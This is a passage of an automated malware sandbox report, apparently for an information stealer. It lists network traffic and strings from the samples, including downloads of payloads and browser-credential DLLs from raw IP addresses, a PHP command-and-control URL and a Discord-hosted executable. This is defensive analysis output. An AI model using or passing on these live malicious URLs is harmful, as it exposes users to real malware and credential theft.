Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=CmdA3STzZDpZ5vo&MD=DuZ4CS8E HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /attachments/1167169926193229925/1306213355966435360/decrypter.exe?ex=6735d97c&is=673487fc&hm=3f582970dc363d475b432b390a941fae5b9a6a3f9388809e2d818b6f1c1f06ff& HTTP/1.1Host: cdn.discordapp.comUser-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/babababa.exe HTTP/1.1Host: 31.41.244.11

Source: 000003.log7.8.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log7.8.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log7.8.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 905sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 16 Nov 2024 12:03:22 GMTContent-Type: text/plain;charset=UTF-8Content-Length: 36Connection: closeX-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodpSet-Cookie: __cf_bm=cldP59Fs_tH4U41YZakizUexbmniv_YlQnKlIu.wOFU-1731758602-1.0.1.1-oMgDgMD0IZM6WjECegal3RYoHQyGxYXWptl4Hh8FXMlQojVLTnbbyN2DdIp4wmUnI7BMokUp2An0yCQA6YgcXA; path=/; expires=Sat, 16-Nov-24 12:33:22 GMT; domain=.discordapp.com; HttpOnly; Secure; SameSite=NoneReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oRmutEBvq9O60CPc2TAq6so6lE1HZKE9hEuwundhd3MtRShZAm13whNUip6JXdGg03EvCGVYlh0165lT%2BzYbSTE4E5sorDYdSF3Dg1Bk7zK3N5l9YlUAcqFgdqKIV%2BnTxHpRTw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Set-Cookie: _cfuvid=mv6z1_FGttkr2DMfCKE_.k2NXoDBlvYrR6C.txcxVcc-1731758602964-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8e3756645ce06be6-DFWalt-svc: h3=":443"; ma=86400

Source: file.exe, 00000000.00000002.2680544116.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2680544116.000000000116E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2680544116.000000000116E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeAjw
Source: file.exe, 00000000.00000002.2678974708.0000000000A25000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2680544116.000000000116E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2680544116.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2680544116.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2680544116.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllf
Source: file.exe, 00000000.00000002.2680544116.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2680544116.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllX
Source: file.exe, 00000000.00000002.2680544116.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2680544116.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll$
Source: file.exe, 00000000.00000002.2680544116.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllx
Source: file.exe, 00000000.00000002.2680544116.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll/
Source: file.exe, 00000000.00000002.2680544116.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllo
Source: file.exe, 00000000.00000002.2680544116.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2680544116.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll.
Source: file.exe, 00000000.00000002.2680544116.00000000011E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2680544116.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/X
Source: file.exe, 00000000.00000002.2701989014.0000000023982000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2678974708.0000000000A25000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2680544116.000000000116E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2701989014.000000002398A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2
Source: file.exe, 00000000.00000002.2701989014.0000000023982000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php;:R
Source: file.exe, 00000000.00000002.2680544116.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpO
Source: file.exe, 00000000.00000002.2678974708.0000000000A25000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.2678974708.0000000000A25000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206lfons
Source: skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php$
Source: skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpGU
Source: skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpL
Source: skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpx
Source: skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3400886451.0000000001247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/babababa.exe
Source: skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/babababa.exe0
Source: skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/babababa.exe14N
Source: skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/babababa.exe623
Source: skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/babababa.exe623847
Source: skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/babababa.exe62384760
Source: skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/babababa.exe62384ed
Source: skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/babababa.exe652001
Source: skotes.exe, 00000019.00000002.3400886451.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/babababa.exem32
Source: skotes.exe, 00000019.00000002.3400886451.0000000001247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/babababa.exeon
Source: skotes.exe, 00000019.00000002.3400886451.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/babababa.exex
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: babababa.exe.25.dr	String found in binary or memory: http://narwhaljs.org)
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: babababa.exe.25.dr	String found in binary or memory: http://src.chromium.org/viewvc/blink/trunk/Source/devtools/front_end/SourceMap.js
Source: babababa.exe.25.dr	String found in binary or memory: http://userguide.icu-project.org/strings/properties
Source: babababa.exe.25.dr	String found in binary or memory: http://www.3waylabs.com/nw/WWW/products/wizcon/vt220.html
Source: babababa.exe.25.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: babababa.exe.25.dr	String found in binary or memory: http://www.midnight-commander.org/browser/lib/tty/key.c
Source: file.exe, file.exe, 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2706828692.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2698037935.000000001D82D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: babababa.exe.25.dr	String found in binary or memory: http://www.squid-cache.org/Doc/config/half_closed_clients/
Source: file.exe, 00000000.00000003.2297663365.000000000121B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_471.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_471.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_471.4.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2701989014.0000000023971000.00000004.00000020.00020000.00000000.sdmp, FIDGDAKFHIEHJKFHDHDB.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
